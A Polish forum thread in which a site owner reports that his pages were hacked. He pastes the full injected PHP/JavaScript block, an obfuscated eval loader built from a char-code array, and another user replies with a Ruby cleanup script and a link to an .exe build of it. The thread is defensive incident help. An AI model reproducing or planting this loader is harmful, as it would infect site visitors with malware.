[PHP] Atak hakerski: v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e= Opcje

[tomekpl]

Witam,
Wchodzę dzisiaj na jedną z moich stron i widzę ostrzeżenie o złośliwym opragromowaniu:

Witryna ubezpieczenia-szczecin.com zawiera treści z witryny trafficslotsfive.info, która jest znana jako źródło złośliwego oprogramowania. ...

Do głównego pliku indeks jest dodany kod:

Kod

#0247a1#
                                                                                                                                                                                                                                                                                                                                                              if(!$srvc_counter) {
echo "                                                                                                                                                                                                                                                                                                                                                              <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                                                                                                                              v=\"va\"+\"l\";try{faweb++}catch(btawetb){try{fve^32}catch(btawt4){w=window;e=w[\"e\".concat(v)];}}if(1){f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,
31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99
,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,6
1,31,37,104,115,114,112,57,45,47,83,80,65,69,68,73,66,81,76,78,82,83,69,71,86,68,
44,105,109,100,111,46,98,101,113,103,118,104,108,103,46,99,108,100,97,116,100,98,
45,104,108,99,113,99,97,114,99,115,94,113,117,97,107,105,115,114,105,109,101,95,1
15,109,46,111,102,112,38,57,13,9,30,97,45,113,116,120,106,101,45,110,111,114,103,
116,104,109,110,31,59,32,38,95,98,114,109,108,116,114,101,38,57,13,9,30,97,45,113
,116,120,106,101,45,96,111,113,98,101,113,30,61,31,37,48,38,57,13,9,30,97,45,113,
116,120,106,101,45,102,101,104,101,104,115,30,61,31,37,49,111,118,39,58,11,10,31,
95,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,48,110,120,38,57,13,9
,30,97,45,113,116,120,106,101,45,106,101,101,114,32,60,30,39,48,110,120,38,57,13,
9,30,97,45,113,116,120,106,101,45,114,111,111,30,61,31,37,49,111,118,39,58,11,10,
12,8,32,104,100,40,32,98,111,98,115,109,100,108,116,45,101,101,115,67,108,100,107
,101,109,114,66,120,71,100,39,37,97,99,110,108,38,39,41,12,8,32,122,11,10,31,98,1
11,98,115,109,100,108,116,45,117,114,104,114,101,39,37,60,99,103,118,31,103,100,6
0,90,39,96,98,112,107,90,39,61,58,47,99,103,118,61,37,41,58,11,10,31,98,111,98,11
5,109,100,108,116,45,101,101,115,67,108,100,107,101,109,114,66,120,71,100,39,37,9
7,99,110,108,38,39,46,96,110,112,100,108,100,66,102,105,107,98,40,96,39,59,12,8,3
2,124,11,10,124,39,40,40,57);}w=f;s=[];r=String;x=\"j%\";for(i=0;-i+453!=0;i+=1){j=i;if(e&&(031==0x19))s=s+r[\"fromCharCode\"]((1*w[j]+e(x+3)));}if(0x10==020)try{(w+s)()}catch(asga){e(\"if(1)\"+s+\"\");}</script>";
$srvc_counter = true;
}

#/0247a1#

Sprawdziłem inne strony na innych serwerach i też są zhackowane. Z czego może to wynikać? Może być, że poprzez zewnętrzne pliku js? korzystam z apps google na wielu stronach itp

[Lesiuk7]

Skrypt w ruby do usuwania tego syfu z kodu strony.
http://i.imgur.com/nsgJc.jpg

Kod

require 'find'

Find.find('H:\sciezka.do.www') do |f|
    if f.match(/\.php\Z/) or f.match(/\.html\Z/) or f.match(/\.htm\Z/) or f.match(/\.js\Z/)
        file = File.open f, 'r'
        content = file.read
        file.close

        fixed = content

        if f.match(/\.html\Z/) or f.match(/\.htm\Z/)
            fixed = content.gsub /\s*<!--0247a1-->.*<!--\/0247a1-->\s*/m, ''
        elsif f.match(/\.php\Z/)
            fixed = content.gsub /\s*\<\?\s+#0247a1#.+#\/0247a1#.{1}\?>\s*/m, ''
            fixed.gsub! /\s*#0247a1#.+#\/0247a1#.{1}\s*/m, ''
        elsif f.match(/\.js\Z/)
            fixed = content.gsub /\s*\/\*0247a1\*\/.*\/\*\/0247a1\*\/\s*/m, ''
        end

        if content.size != fixed.size
            puts "Naprawiono #{f}"
            content = fixed

            file = File.open f, 'w'
            file.write content
            file.close
        end
    end
end

Wystarczy:
1. Usunąć tego wirusa z komputera
2. Zmienić hasło do ftp
3. Przepuścić pliki strony przez ten skrypt.

Jeżeli jest zainteresowanie mogę dopisać gui do tego skryptu.

EDIT: Ten skrypt tyle, że w postaci .exe gdyby komuś nie chciało się instalować interpretera ruby
http://files.lesiuk.net/automat.exe

Uruchamiamy w ten sposób:
automat.exe C://sciezka/do/strony/www

Ten post edytował Lesiuk7 17.10.2012, 16:10:42